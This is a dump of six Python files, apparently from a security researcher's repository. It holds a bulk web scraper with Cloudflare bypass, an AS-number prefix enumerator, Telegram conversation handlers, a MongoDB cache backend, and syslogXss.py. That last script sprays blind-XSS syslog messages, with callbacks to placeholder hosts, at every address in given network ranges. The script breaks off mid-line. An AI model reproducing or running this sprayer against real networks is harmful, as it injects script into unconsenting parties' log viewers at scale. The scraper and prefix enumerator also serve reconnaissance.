├── aioWebScraper.py ├── asRadar.py ├── conversationhandler.py ├── conversationhandlerV6.py ├── djangoMongoCache.py └── syslogXss.py /aioWebScraper.py: -------------------------------------------------------------------------------- 1 | __author__ = 'isox' 2 | 3 | # Asyncio web scraper for parallel web download 4 | # 5 | # Usage: 6 | # 7 | # downloadedData = getBulkUrl(['url1', 'url2', 'url3']) 8 | # 9 | # It will return key:val dict with {'url1':url1data, 'url2':url2data} 10 | # 11 | # Cloudflare bypass by "aiocfscrape" 12 | # Progressbar made with TQDM 13 | # 14 | # isox@vulners.com 15 | 16 | import asyncio 17 | import aiohttp 18 | import tqdm 19 | from aiocfscrape import CloudflareScraper 20 | 21 | @asyncio.coroutine 22 | def get(session, url, timeout, rawResult, maxRetry = 5): 23 | currentTry = 1 24 | while(currentTry < maxRetry): 25 | try: 26 | response = yield from session.get(url.strip(), timeout = timeout) 27 | if rawResult: 28 | result = {url:(yield from response.read())} 29 | else: 30 | result = {url:(yield from response.text())} 31 | response.release() 32 | return result 33 | except Exception as e: 34 | currentTry += 1 35 | if currentTry > maxRetry: 36 | raise e 37 | 38 | @asyncio.coroutine 39 | def wait_with_progress(urlList, concurency = 30, timeout = 120, rawResults = False, cloudflare = False, headers = None): 40 | sem = asyncio.Semaphore(concurency) 41 | # Client session worker 42 | headers = headers or {} 43 | headers.update({ 44 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36 vulners.com/bot'}) 45 | if cloudflare: 46 | sessionClient = CloudflareScraper 47 | else: 48 | sessionClient = aiohttp.ClientSession 49 | urlToResultDict = {} 50 | with sessionClient(connector=aiohttp.TCPConnector(verify_ssl=False), headers=headers) as session: 51 | coros = [parseUrl(url = d, semaphore = sem, session = session, timeout = timeout, rawResults=rawResults) for d in urlList] 52 | for f in tqdm.tqdm(asyncio.as_completed(coros), total=len(coros)): 53 | result = yield from f 54 | urlToResultDict.update(result) 55 | return urlToResultDict 56 | 57 | @asyncio.coroutine 58 | def parseUrl(url, semaphore, session, timeout, rawResults): 59 | with (yield from semaphore): 60 | page = yield from get(session, url, timeout, rawResults) 61 | return page 62 | 63 | def getBulkUrl(urlList, concurency = 30, timeout = 120, rawResults = False, cloudflare = False, headers = None): 64 | loop = asyncio.get_event_loop() 65 | # Gather URLs 66 | runner = wait_with_progress(urlList, concurency, timeout, rawResults, cloudflare, headers) 67 | result = loop.run_until_complete(runner) 68 | return result 69 | 70 | -------------------------------------------------------------------------------- /asRadar.py: -------------------------------------------------------------------------------- 1 | __author__ = 'isox' 2 | # 3 | # https://radar.qrator.net 4 | # IP networks extractor utility 5 | # User AS number from https://radar.qrator.net/search?query=qiwi 6 | # As example 5750 7 | # MacBook-Pro:Misc isox$ python3.5 radarQrator.py 57570 8 | # 9 | # Output will be: 10 | # 91.232.230.0/23 11 | # 12 | # vulners.com 13 | 14 | import requests 15 | import netaddr 16 | import bs4 17 | try: 18 | import re2 as re 19 | except: 20 | import re 21 | from optparse import OptionParser 22 | 23 | def getRadarAs(asNumber): 24 | radarResponse = requests.get("https://radar.qrator.net/api/prefixes/%s?tab_id=current&page=1" % asNumber).json() 25 | totalPrefixes = int(radarResponse.get('total')) 26 | initalPageSoup = bs4.BeautifulSoup(radarResponse.get('page'), "html.parser") 27 | networkRawSet = set() 28 | for a in initalPageSoup.find_all(text=re.compile(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/\d+?$")): 29 | networkRawSet.add("%s" % a) 30 | startPage = 1 31 | while len(networkRawSet) < totalPrefixes: 32 | radarResponse = requests.get("https://radar.qrator.net/api/prefixes/%s?tab_id=current&page=%s" % (asNumber, startPage)).json() 33 | pageSoup = bs4.BeautifulSoup(radarResponse.get('page'), "html.parser") 34 | for a in pageSoup.find_all(text=re.compile(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/\d+?$")): 35 | networkRawSet.add("%s" % a) 36 | startPage += 1 37 | # Now minimize this shit 38 | networkSet = netaddr.IPSet([netaddr.IPNetwork(item) for item in networkRawSet]) 39 | mergedNetworks = netaddr.cidr_merge(networkSet) 40 | if not mergedNetworks: 41 | print("Nothing found. Wrong AS number?") 42 | else: 43 | print("\n".join(["%s" % network for network in mergedNetworks])) 44 | 45 | def main(): 46 | parser = OptionParser(usage="usage: %prog [AS number as int]", 47 | version="%prog 1.0") 48 | (options, args) = parser.parse_args() 49 | 50 | if len(args) != 1: 51 | parser.error("Wrong number of arguments. Only one argument as input - AS numbers") 52 | if not args[0].isdigit(): 53 | parser.error("Wrong AS number. Must be int") 54 | getRadarAs(args[0]) 55 | 56 | if __name__ == '__main__': 57 | main() 58 | -------------------------------------------------------------------------------- /conversationhandler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # A library that provides a Python interface to the Telegram Bot API 4 | # Copyright (C) 2015-2016 5 | # Leandro Toledo de Souza 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU Lesser Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU Lesser Public License for more details. 16 | # 17 | # You should have received a copy of the GNU Lesser Public License 18 | # along with this program. If not, see [http://www.gnu.org/licenses/]. 19 | """ This module contains the ConversationHandler """ 20 | # 21 | # Tuned by isox@vulners.com for cross-process conversation handling with Django Cache wrapper 22 | # 23 | 24 | import logging 25 | 26 | from telegram import Update 27 | from telegram.ext import Handler 28 | from telegram.utils.helpers import extract_chat_and_user 29 | from telegram.utils.promise import Promise 30 | from django.core import cache as cacheController 31 | import hashlib 32 | 33 | 34 | class ConversationHandler(Handler): 35 | """ 36 | A handler to hold a conversation with a user by managing four collections of other handlers. 37 | 38 | The first collection, a ``list`` named ``entry_points``, is used to initiate the conversation, 39 | for example with a ``CommandHandler`` or ``RegexHandler``. 40 | 41 | The second collection, a ``dict`` named ``states``, contains the different conversation steps 42 | and one or more associated handlers that should be used if the user sends a message when the 43 | conversation with them is currently in that state. You will probably use mostly 44 | ``MessageHandler`` and ``RegexHandler`` here. 45 | 46 | The third collection, a ``list`` named ``fallbacks``, is used if the user is currently in a 47 | conversation but the state has either no associated handler or the handler that is associated 48 | to the state is inappropriate for the update, for example if the update contains a command, but 49 | a regular text message is expected. You could use this for a ``/cancel`` command or to let the 50 | user know their message was not recognized. 51 | 52 | The fourth, optional collection of handlers, a ``list`` named ``timed_out_behavior`` is used if 53 | the wait for ``run_async`` takes longer than defined in ``run_async_timeout``. For example, 54 | you can let the user know that they should wait for a bit before they can continue. 55 | 56 | To change the state of conversation, the callback function of a handler must return the new 57 | state after responding to the user. If it does not return anything (returning ``None`` by 58 | default), the state will not change. To end the conversation, the callback function must 59 | return ``CallbackHandler.END`` or ``-1``. 60 | 61 | Args: 62 | entry_points (list): A list of ``Handler`` objects that can trigger the start of the 63 | conversation. The first handler which ``check_update`` method returns ``True`` will be 64 | used. If all return ``False``, the update is not handled. 65 | states (dict): A ``dict[object: list[Handler]]`` that defines the different states of 66 | conversation a user can be in and one or more associated ``Handler`` objects that 67 | should be used in that state. The first handler which ``check_update`` method returns 68 | ``True`` will be used. 69 | fallbacks (list): A list of handlers that might be used if the user is in a conversation, 70 | but every handler for their current state returned ``False`` on ``check_update``. 71 | The first handler which ``check_update`` method returns ``True`` will be used. If all 72 | return ``False``, the update is not handled. 73 | allow_reentry (Optional[bool]): If set to ``True``, a user that is currently in a 74 | conversation can restart the conversation by triggering one of the entry points. 75 | run_async_timeout (Optional[float]): If the previous handler for this user was running 76 | asynchronously using the ``run_async`` decorator, it might not be finished when the 77 | next message arrives. This timeout defines how long the conversation handler should 78 | wait for the next state to be computed. The default is ``None`` which means it will 79 | wait indefinitely. 80 | timed_out_behavior (Optional[list]): A list of handlers that might be used if 81 | the wait for ``run_async`` timed out. The first handler which ``check_update`` method 82 | returns ``True`` will be used. If all return ``False``, the update is not handled. 83 | 84 | """ 85 | 86 | END = -1 87 | 88 | def __init__(self, 89 | entry_points, 90 | states, 91 | fallbacks, 92 | allow_reentry=False, 93 | run_async_timeout=None, 94 | timed_out_behavior=None): 95 | 96 | self.entry_points = entry_points 97 | """:type: list[telegram.ext.Handler]""" 98 | 99 | self.states = states 100 | """:type: dict[str: telegram.ext.Handler]""" 101 | 102 | self.fallbacks = fallbacks 103 | """:type: list[telegram.ext.Handler]""" 104 | 105 | self.allow_reentry = allow_reentry 106 | self.run_async_timeout = run_async_timeout 107 | 108 | self.timed_out_behavior = timed_out_behavior 109 | """:type: list[telegram.ext.Handler]""" 110 | 111 | self.current_conversation = None 112 | self.current_handler = None 113 | 114 | self.logger = logging.getLogger(__name__) 115 | 116 | # Use session cache to hold conversation states 117 | self.cacheWrapper = cacheController.caches['telegramConversations'] 118 | 119 | def makeKey(self, tupleData): 120 | hashdata = hashlib.md5() 121 | hashdata.update('_'.join(["%s" % element for element in tupleData]).encode('utf-8')) 122 | return "TG_CONV_%s" % hashdata.hexdigest() 123 | 124 | def check_update(self, update): 125 | 126 | if not isinstance(update, Update): 127 | return False 128 | 129 | chat, user = extract_chat_and_user(update) 130 | 131 | key = (chat.id, user.id) if chat else (None, user.id) 132 | state = self.cacheWrapper.get(self.makeKey(key)) 133 | # Resolve promises 134 | if isinstance(state, tuple) and len(state) is 2 and isinstance(state[1], Promise): 135 | self.logger.debug('waiting for promise...') 136 | 137 | old_state, new_state = state 138 | new_state.result(timeout=self.run_async_timeout) 139 | 140 | if new_state.done.is_set(): 141 | self.update_state(new_state.result(), key) 142 | state = self.cacheWrapper.get(self.makeKey(key)) 143 | 144 | else: 145 | for candidate in (self.timed_out_behavior or []): 146 | if candidate.check_update(update): 147 | # Save the current user and the selected handler for handle_update 148 | self.current_conversation = key 149 | self.current_handler = candidate 150 | 151 | return True 152 | 153 | else: 154 | return False 155 | 156 | self.logger.debug('selecting conversation %s with state %s' % (str(key), str(state))) 157 | 158 | handler = None 159 | 160 | # Search entry points for a match 161 | if state is None or self.allow_reentry: 162 | for entry_point in self.entry_points: 163 | if entry_point.check_update(update): 164 | handler = entry_point 165 | break 166 | 167 | else: 168 | if state is None: 169 | return False 170 | 171 | # Get the handler list for current state, if we didn't find one yet and we're still here 172 | if state is not None and not handler: 173 | handlers = self.states.get(state) 174 | 175 | for candidate in (handlers or []): 176 | if candidate.check_update(update): 177 | handler = candidate 178 | break 179 | 180 | # Find a fallback handler if all other handlers fail 181 | else: 182 | for fallback in self.fallbacks: 183 | if fallback.check_update(update): 184 | handler = fallback 185 | break 186 | 187 | else: 188 | return False 189 | 190 | # Save the current user and the selected handler for handle_update 191 | self.current_conversation = key 192 | self.current_handler = handler 193 | 194 | return True 195 | 196 | def handle_update(self, update, dispatcher): 197 | 198 | new_state = self.current_handler.handle_update(update, dispatcher) 199 | 200 | self.update_state(new_state, self.current_conversation) 201 | 202 | def update_state(self, new_state, key): 203 | if new_state == self.END: 204 | self.cacheWrapper.delete(self.makeKey(key)) 205 | elif isinstance(new_state, Promise): 206 | stateTuple = (self.cacheWrapper.get(self.makeKey(key)), new_state) 207 | self.cacheWrapper.set(self.makeKey(key), stateTuple, timeout=90) 208 | 209 | elif new_state is not None: 210 | self.cacheWrapper.set(self.makeKey(key), new_state, timeout=90) 211 | -------------------------------------------------------------------------------- /conversationhandlerV6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # A library that provides a Python interface to the Telegram Bot API 4 | # Copyright (C) 2015-2016 5 | # Leandro Toledo de Souza 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU Lesser Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU Lesser Public License for more details. 16 | # 17 | # You should have received a copy of the GNU Lesser Public License 18 | # along with this program. If not, see [http://www.gnu.org/licenses/]. 19 | """ This module contains the ConversationHandler """ 20 | # 21 | # Tuned by isox@vulners.com for cross-process conversation handling with Django Cache wrapper 22 | # 23 | 24 | from django.core import cache as cacheController 25 | import hashlib 26 | 27 | import logging 28 | 29 | from telegram import Update 30 | from telegram.ext import (Handler, CallbackQueryHandler, InlineQueryHandler, 31 | ChosenInlineResultHandler) 32 | from telegram.utils.promise import Promise 33 | 34 | 35 | class ConversationHandler(Handler): 36 | """ 37 | A handler to hold a conversation with a single user by managing four collections of other 38 | handlers. Note that neither posts in Telegram Channels, nor group interactions with multiple 39 | users are managed by instances of this class. 40 | 41 | The first collection, a ``list`` named ``entry_points``, is used to initiate the conversation, 42 | for example with a ``CommandHandler`` or ``RegexHandler``. 43 | 44 | The second collection, a ``dict`` named ``states``, contains the different conversation steps 45 | and one or more associated handlers that should be used if the user sends a message when the 46 | conversation with them is currently in that state. You will probably use mostly 47 | ``MessageHandler`` and ``RegexHandler`` here. 48 | 49 | The third collection, a ``list`` named ``fallbacks``, is used if the user is currently in a 50 | conversation but the state has either no associated handler or the handler that is associated 51 | to the state is inappropriate for the update, for example if the update contains a command, but 52 | a regular text message is expected. You could use this for a ``/cancel`` command or to let the 53 | user know their message was not recognized. 54 | 55 | The fourth, optional collection of handlers, a ``list`` named ``timed_out_behavior`` is used if 56 | the wait for ``run_async`` takes longer than defined in ``run_async_timeout``. For example, 57 | you can let the user know that they should wait for a bit before they can continue. 58 | 59 | To change the state of conversation, the callback function of a handler must return the new 60 | state after responding to the user. If it does not return anything (returning ``None`` by 61 | default), the state will not change. To end the conversation, the callback function must 62 | return ``CallbackHandler.END`` or ``-1``. 63 | 64 | Args: 65 | entry_points (list): A list of ``Handler`` objects that can trigger the start of the 66 | conversation. The first handler which ``check_update`` method returns ``True`` will be 67 | used. If all return ``False``, the update is not handled. 68 | states (dict): A ``dict[object: list[Handler]]`` that defines the different states of 69 | conversation a user can be in and one or more associated ``Handler`` objects that 70 | should be used in that state. The first handler which ``check_update`` method returns 71 | ``True`` will be used. 72 | fallbacks (list): A list of handlers that might be used if the user is in a conversation, 73 | but every handler for their current state returned ``False`` on ``check_update``. 74 | The first handler which ``check_update`` method returns ``True`` will be used. If all 75 | return ``False``, the update is not handled. 76 | allow_reentry (Optional[bool]): If set to ``True``, a user that is currently in a 77 | conversation can restart the conversation by triggering one of the entry points. 78 | run_async_timeout (Optional[float]): If the previous handler for this user was running 79 | asynchronously using the ``run_async`` decorator, it might not be finished when the 80 | next message arrives. This timeout defines how long the conversation handler should 81 | wait for the next state to be computed. The default is ``None`` which means it will 82 | wait indefinitely. 83 | timed_out_behavior (Optional[list]): A list of handlers that might be used if 84 | the wait for ``run_async`` timed out. The first handler which ``check_update`` method 85 | returns ``True`` will be used. If all return ``False``, the update is not handled. 86 | 87 | """ 88 | 89 | END = -1 90 | 91 | def __init__(self, 92 | entry_points, 93 | states, 94 | fallbacks, 95 | allow_reentry=False, 96 | run_async_timeout=None, 97 | timed_out_behavior=None, 98 | per_chat=True, 99 | per_user=True, 100 | per_message=False): 101 | 102 | self.entry_points = entry_points 103 | """:type: list[telegram.ext.Handler]""" 104 | 105 | self.states = states 106 | """:type: dict[str: telegram.ext.Handler]""" 107 | 108 | self.fallbacks = fallbacks 109 | """:type: list[telegram.ext.Handler]""" 110 | 111 | self.allow_reentry = allow_reentry 112 | self.run_async_timeout = run_async_timeout 113 | 114 | self.timed_out_behavior = timed_out_behavior 115 | """:type: list[telegram.ext.Handler]""" 116 | 117 | self.per_user = per_user 118 | self.per_chat = per_chat 119 | self.per_message = per_message 120 | """:type: dict[tuple: object]""" 121 | 122 | self.current_conversation = None 123 | self.current_handler = None 124 | 125 | self.logger = logging.getLogger(__name__) 126 | 127 | self.cacheWrapper = cacheController.caches['telegramConversations'] 128 | 129 | if not any((self.per_user, self.per_chat, self.per_message)): 130 | raise ValueError("'per_user', 'per_chat' and 'per_message' can't all be 'False'") 131 | 132 | if self.per_message and not self.per_chat: 133 | logging.warning("If 'per_message=True' is used, 'per_chat=True' should also be used, " 134 | "since message IDs are not globally unique.") 135 | 136 | all_handlers = list() 137 | all_handlers.extend(entry_points) 138 | all_handlers.extend(fallbacks) 139 | 140 | for state_handlers in states.values(): 141 | all_handlers.extend(state_handlers) 142 | 143 | if self.per_message: 144 | for handler in all_handlers: 145 | if not isinstance(handler, CallbackQueryHandler): 146 | logging.warning("If 'per_message=True', all entry points and state handlers" 147 | " must be 'CallbackQueryHandler', since no other handlers " 148 | "have a message context.") 149 | else: 150 | for handler in all_handlers: 151 | if isinstance(handler, CallbackQueryHandler): 152 | logging.warning("If 'per_message=False', 'CallbackQueryHandler' will not be " 153 | "tracked for every message.") 154 | 155 | if self.per_chat: 156 | for handler in all_handlers: 157 | if isinstance(handler, (InlineQueryHandler, ChosenInlineResultHandler)): 158 | logging.warning("If 'per_chat=True', 'InlineQueryHandler' can not be used, " 159 | "since inline queries have no chat context.") 160 | 161 | def makeKey(self, tupleData): 162 | hashdata = hashlib.md5() 163 | hashdata.update('_'.join(["%s" % element for element in tupleData]).encode('utf-8')) 164 | return "TG_CONV_%s" % hashdata.hexdigest() 165 | 166 | def _get_key(self, update): 167 | chat = update.effective_chat 168 | user = update.effective_user 169 | 170 | key = list() 171 | 172 | if self.per_chat: 173 | key.append(chat.id) 174 | 175 | if self.per_user: 176 | key.append(user.id) 177 | 178 | if self.per_message: 179 | key.append(update.callback_query.inline_message_id 180 | or update.callback_query.message.message_id) 181 | 182 | return tuple(key) 183 | 184 | def check_update(self, update): 185 | 186 | # Ignore messages in channels 187 | if (not isinstance(update, Update) or update.channel_post or self.per_chat 188 | and (update.inline_query or update.chosen_inline_result) or self.per_message 189 | and not update.callback_query or update.callback_query and self.per_chat 190 | and not update.callback_query.message): 191 | return False 192 | 193 | key = self._get_key(update) 194 | state = self.cacheWrapper.get(self.makeKey(key)) 195 | 196 | # Resolve promises 197 | if isinstance(state, tuple) and len(state) is 2 and isinstance(state[1], Promise): 198 | self.logger.debug('waiting for promise...') 199 | 200 | old_state, new_state = state 201 | error = False 202 | try: 203 | res = new_state.result(timeout=self.run_async_timeout) 204 | except Exception as exc: 205 | self.logger.exception("Promise function raised exception") 206 | self.logger.exception("{}".format(exc)) 207 | error = True 208 | 209 | if not error and new_state.done.is_set(): 210 | self.update_state(res, key) 211 | state = self.cacheWrapper.get(self.makeKey(key)) 212 | 213 | else: 214 | for candidate in (self.timed_out_behavior or []): 215 | if candidate.check_update(update): 216 | # Save the current user and the selected handler for handle_update 217 | self.current_conversation = key 218 | self.current_handler = candidate 219 | 220 | return True 221 | 222 | else: 223 | return False 224 | 225 | self.logger.debug('selecting conversation %s with state %s' % (str(key), str(state))) 226 | 227 | handler = None 228 | 229 | # Search entry points for a match 230 | if state is None or self.allow_reentry: 231 | for entry_point in self.entry_points: 232 | if entry_point.check_update(update): 233 | handler = entry_point 234 | break 235 | 236 | else: 237 | if state is None: 238 | return False 239 | 240 | # Get the handler list for current state, if we didn't find one yet and we're still here 241 | if state is not None and not handler: 242 | handlers = self.states.get(state) 243 | 244 | for candidate in (handlers or []): 245 | if candidate.check_update(update): 246 | handler = candidate 247 | break 248 | 249 | # Find a fallback handler if all other handlers fail 250 | else: 251 | for fallback in self.fallbacks: 252 | if fallback.check_update(update): 253 | handler = fallback 254 | break 255 | 256 | else: 257 | return False 258 | 259 | # Save the current user and the selected handler for handle_update 260 | self.current_conversation = key 261 | self.current_handler = handler 262 | 263 | return True 264 | 265 | def handle_update(self, update, dispatcher): 266 | 267 | new_state = self.current_handler.handle_update(update, dispatcher) 268 | 269 | self.update_state(new_state, self.current_conversation) 270 | 271 | def update_state(self, new_state, key): 272 | if new_state == self.END: 273 | self.cacheWrapper.delete(self.makeKey(key)) 274 | elif isinstance(new_state, Promise): 275 | stateTuple = (self.cacheWrapper.get(self.makeKey(key)), new_state) 276 | self.cacheWrapper.set(self.makeKey(key), stateTuple, timeout=90) 277 | 278 | elif new_state is not None: 279 | self.cacheWrapper.set(self.makeKey(key), new_state, timeout=90) 280 | -------------------------------------------------------------------------------- /djangoMongoCache.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Based on ----> 3 | # Author: 4 | # Karol Sikora , (c) 2012 5 | # Alireza Savand , (c) 2013, 2014, 2015 6 | # 7 | # 8 | # Remake by isox@vulners.com 9 | # Using TTL index collection 10 | 11 | try: 12 | import cPickle as pickle 13 | except ImportError: 14 | import pickle 15 | import base64 16 | import re 17 | from datetime import datetime, timedelta 18 | 19 | import pymongo 20 | from django.core.cache.backends.base import BaseCache 21 | 22 | 23 | class MongoDBCache(BaseCache): 24 | def __init__(self, location, params): 25 | BaseCache.__init__(self, params) 26 | self.location = location 27 | options = params.get('OPTIONS', {}) 28 | self._host = options.get('HOST', 'localhost') 29 | self._port = options.get('PORT', 27017) 30 | self._username = options.get('USERNAME') 31 | self._password = options.get('PASSWORD') 32 | self._database = options.get('DATABASE', 'django_cache') 33 | self._collection = location 34 | self._db, self._coll = self.initMongoConnection() 35 | 36 | def initMongoConnection(self): 37 | if self._username is not None: 38 | self.connection = pymongo.MongoClient( 39 | 'mongodb://{0}:{1}@{2}:{3}/{4}'.format(self._username, self._password, self._host, self._port, 40 | self._database)) 41 | else: 42 | self.connection = pymongo.MongoClient('mongodb://{0}:{1}/'.format(self._host, self._port)) 43 | 44 | # Initialize key index 45 | self.connection[self._database][self._collection].ensure_index('key', background=True) 46 | # Initialize TTL index 47 | # Elements will be deleted after 5 seconds expiration date will be passed 48 | self.connection[self._database][self._collection].ensure_index('expires', background = True, expireAfterSeconds = 5) 49 | 50 | return self.connection[self._database], self.connection[self._database][self._collection] 51 | 52 | 53 | def make_key(self, key, version=None): 54 | """ 55 | Additional regexp to remove $ and . cachaters, 56 | as they cause special behaviour in mongodb 57 | """ 58 | key = super(MongoDBCache, self).make_key(key, version) 59 | 60 | return re.sub(r'\$|\.', '', key) 61 | 62 | def add(self, key, value, timeout=None, version=None): 63 | """ 64 | Set a value in the cache if the key does not already exist. If 65 | timeout is given, that timeout will be used for the key; otherwise 66 | the default cache timeout will be used. 67 | 68 | Returns True if the value was stored, False otherwise. 69 | """ 70 | key = self.make_key(key, version) 71 | self.validate_key(key) 72 | 73 | return self._base_set('add', key, value, timeout) 74 | 75 | def set(self, key, value, timeout=None, version=None): 76 | """ 77 | Set a value in the cache. If timeout is given, that timeout will be 78 | used for the key; otherwise the default cache timeout will be used. 79 | """ 80 | key = self.make_key(key, version) 81 | self.validate_key(key) 82 | 83 | return self._base_set('set', key, value, timeout) 84 | 85 | def _base_set(self, mode, key, value, timeout=None): 86 | 87 | timeout = timeout or self.default_timeout 88 | 89 | # Only UTC here for Mongo auto-purge 90 | 91 | now = datetime.utcnow() 92 | expires = now + timedelta(seconds=timeout) 93 | 94 | # 95 | 96 | pickled = pickle.dumps(value, pickle.HIGHEST_PROTOCOL) 97 | encoded = base64.encodebytes(pickled).strip() 98 | 99 | if mode == 'set': 100 | # Set sets new data. And there is no matter, that key exists 101 | self._coll.update({'key':key} ,{'key':key, 'data': encoded, 'expires': expires}, upsert = True) 102 | 103 | elif mode == 'add': 104 | if self._coll.find_one({'key': key}): 105 | return False 106 | self._coll.insert({'key': key, 'data': encoded, 'expires': expires}) 107 | 108 | return True 109 | 110 | def get(self, key, default=None, version=None): 111 | """ 112 | Fetch a given key from the cache. If the key does not exist, return 113 | default, which itself defaults to None. 114 | """ 115 | key = self.make_key(key, version) 116 | self.validate_key(key) 117 | 118 | data = self._coll.find_one({'key': key}) 119 | if not data: 120 | return default 121 | 122 | unencoded = base64.decodebytes(data['data']) 123 | unpickled = pickle.loads(unencoded) 124 | 125 | return unpickled 126 | 127 | def get_many(self, keys, version=None): 128 | """ 129 | Fetch a bunch of keys from the cache. For certain backends (memcached, 130 | pgsql) this can be *much* faster when fetching multiple values. 131 | 132 | Returns a dict mapping each key in keys to its value. If the given 133 | key is missing, it will be missing from the response dict. 134 | """ 135 | out = {} 136 | parsed_keys = {} 137 | 138 | for key in keys: 139 | pkey = self.make_key(key, version) 140 | self.validate_key(pkey) 141 | parsed_keys[pkey] = key 142 | 143 | data = self._coll.find({'key': {'$in': parsed_keys.keys()}}) 144 | for result in data: 145 | unencoded = base64.decodebytes(result['data']) 146 | unpickled = pickle.loads(unencoded) 147 | out[parsed_keys[result['key']]] = unpickled 148 | 149 | return out 150 | 151 | def delete(self, key, version=None): 152 | """ 153 | Delete a key from the cache, failing silently. 154 | """ 155 | key = self.make_key(key, version) 156 | self.validate_key(key) 157 | self._coll.remove({'key': key}) 158 | 159 | def has_key(self, key, version=None): 160 | """ 161 | Returns True if the key is in the cache and has not expired. 162 | """ 163 | key = self.make_key(key, version) 164 | self.validate_key(key) 165 | data = self._coll.find_one({'key': key}) 166 | 167 | return data is not None 168 | 169 | def clear(self): 170 | """Remove *all* values from the cache at once.""" 171 | self._coll.remove(None) 172 | 173 | def close(self, **kwargs): 174 | """Close the cache connection""" 175 | return self.connection.close() 176 | -------------------------------------------------------------------------------- /syslogXss.py: -------------------------------------------------------------------------------- 1 | __author__ = 'isox' 2 | import netaddr 3 | from multiprocessing import Pool 4 | import socket 5 | import string 6 | import random 7 | import time 8 | from optparse import OptionParser 9 | 10 | FACILITY = { 11 | 'kern': 0, 'user': 1, 'mail': 2, 'daemon': 3, 12 | 'auth': 4, 'syslog': 5, 'lpr': 6, 'news': 7, 13 | 'uucp': 8, 'cron': 9, 'authpriv': 10, 'ftp': 11 14 | } 15 | 16 | LEVEL = { 17 | 'emerg': 0, 'alert':1, 'crit': 2, 'err': 3, 18 | 'warning': 4, 'notice': 5, 'info': 6, 'debug': 7 19 | } 20 | 21 | 22 | def asyncSendPayload(sharedSocket, ipaddress, port, payload): 23 | retryCount = 5 24 | retryCurrent = 0 25 | facility = FACILITY.get('kern') 26 | level = LEVEL.get('emerg') 27 | data = '<%d>%s' % (level + facility*8, payload) 28 | finished = False 29 | while not finished: 30 | try: 31 | sharedSocket.sendto(data.encode(), (ipaddress, port)) 32 | finished = True 33 | except Exception as e: 34 | time.sleep(1) 35 | retryCurrent += 1 36 | if retryCurrent > retryCount: 37 | print("Fatal error sending to %s" % ipaddress) 38 | finished = True 39 | #print("Sent: %s" % (data.encode())) 40 | return True 41 | 42 | 43 | class syslogXssManager(object): 44 | def __init__(self, cidrNetworkList, portList = None, maxProcesses = None, replayCount = None, payload = None): 45 | self.maxProcesses = maxProcesses or 30 46 | self.replayCount = replayCount or 1 47 | self.bindPorts = [int(port) for port in portList] or [53] 48 | self.cidrNetworkList = cidrNetworkList 49 | self.payload = payload 50 | 51 | def job(self): 52 | targetList = self.createTask() 53 | self.runAttack(targetList) 54 | 55 | def idGenerator(self, size=6, chars=string.ascii_uppercase + string.digits): 56 | return ''.join(random.choice(chars) for _ in range(size)) 57 | 58 | def createTask(self): 59 | # Here goes example xss/dns payload 60 | # Listen for the logs of the ns server 61 | # Prepare www server for callbacks 62 | dnsServer = 'nsserv.example.com' 63 | webServer = 'web.example.com' 64 | examplePayload = "%s'\"><" 65 | payload = self.payload or examplePayload 66 | print("Using payload: %s" % payload) 67 | attackNetworkList = [netaddr.IPNetwork(networkCidr) for networkCidr in self.cidrNetworkList] 68 | network = netaddr.IPSet(attackNetworkList) 69 | print("Total attack len: %s" % len(network)) 70 | attackTargetList = [{'ipaddress':"%s" % ipAddress, 'port':514, 'payload':self.payload or (payload % (self.idGenerator(), ipAddress, ipAddress))} for ipAddress in network] 71 | return attackTargetList 72 | 73 | 74 | def runAttack(self, targetList): 75 | # targetList = [{'ipaddress:':'127.0.0.1', 'port':53, 'payload':'blablabla'] 76 | for counter in range(0, self.replayCount): 77 | for port in self.bindPorts: 78 | requestPool = Pool(processes=self.maxProcesses) 79 | sharedSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 80 | sharedSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 81 | sharedSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) 82 | #sharedSocket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 64) 83 | try: 84 | sharedSocket.bind(('', port)) 85 | print("Sending packets from port %s" % port) 86 | taskList = [(sharedSocket, targetParams.get('ipaddress'), targetParams.get('port'), targetParams.get('payload')) for targetParams in targetList] 87 | results = requestPool.starmap(asyncSendPayload, taskList) 88 | except Exception as e: 89 | print("Failed binding port %s: %s" % (port, e)) 90 | print("Closing process pool") 91 | requestPool.close() 92 | print("Joining process pool") 93 | requestPool.join() 94 | print("Closing shared socket") 95 | sharedSocket.close() 96 | return True 97 | 98 | def main(): 99 | parser = OptionParser(usage="usage: %prog [options] network CIDR", 100 | version="%prog 1.0") 101 | parser.add_option("-f", "--file", 102 | default=False, 103 | help="Read CIDR network list splitted by newline from file") 104 | parser.add_option("-t", "--threads", 105 | default=30, 106 | help="Threads concurency, default 30") 107 | parser.add_option("-r", "--replay", 108 | default=False, 109 | help="Perform replay of the attack, default 1") 110 | parser.add_option("-p", "--port", 111 | default=53, 112 | help="Bind port to send packets from. Default 53. May be set as '53,54,55'") 113 | parser.add_option("-m", "--message", 114 | default=None, 115 | help="Set customized payload string") 116 | (options, args) = parser.parse_args() 117 | 118 | if not options.file and len(args) != 1: 119 | parser.error("Wrong number of arguments") 120 | cidrNetworkList = set() 121 | if options.file: 122 | with open(options.file, 'r') as 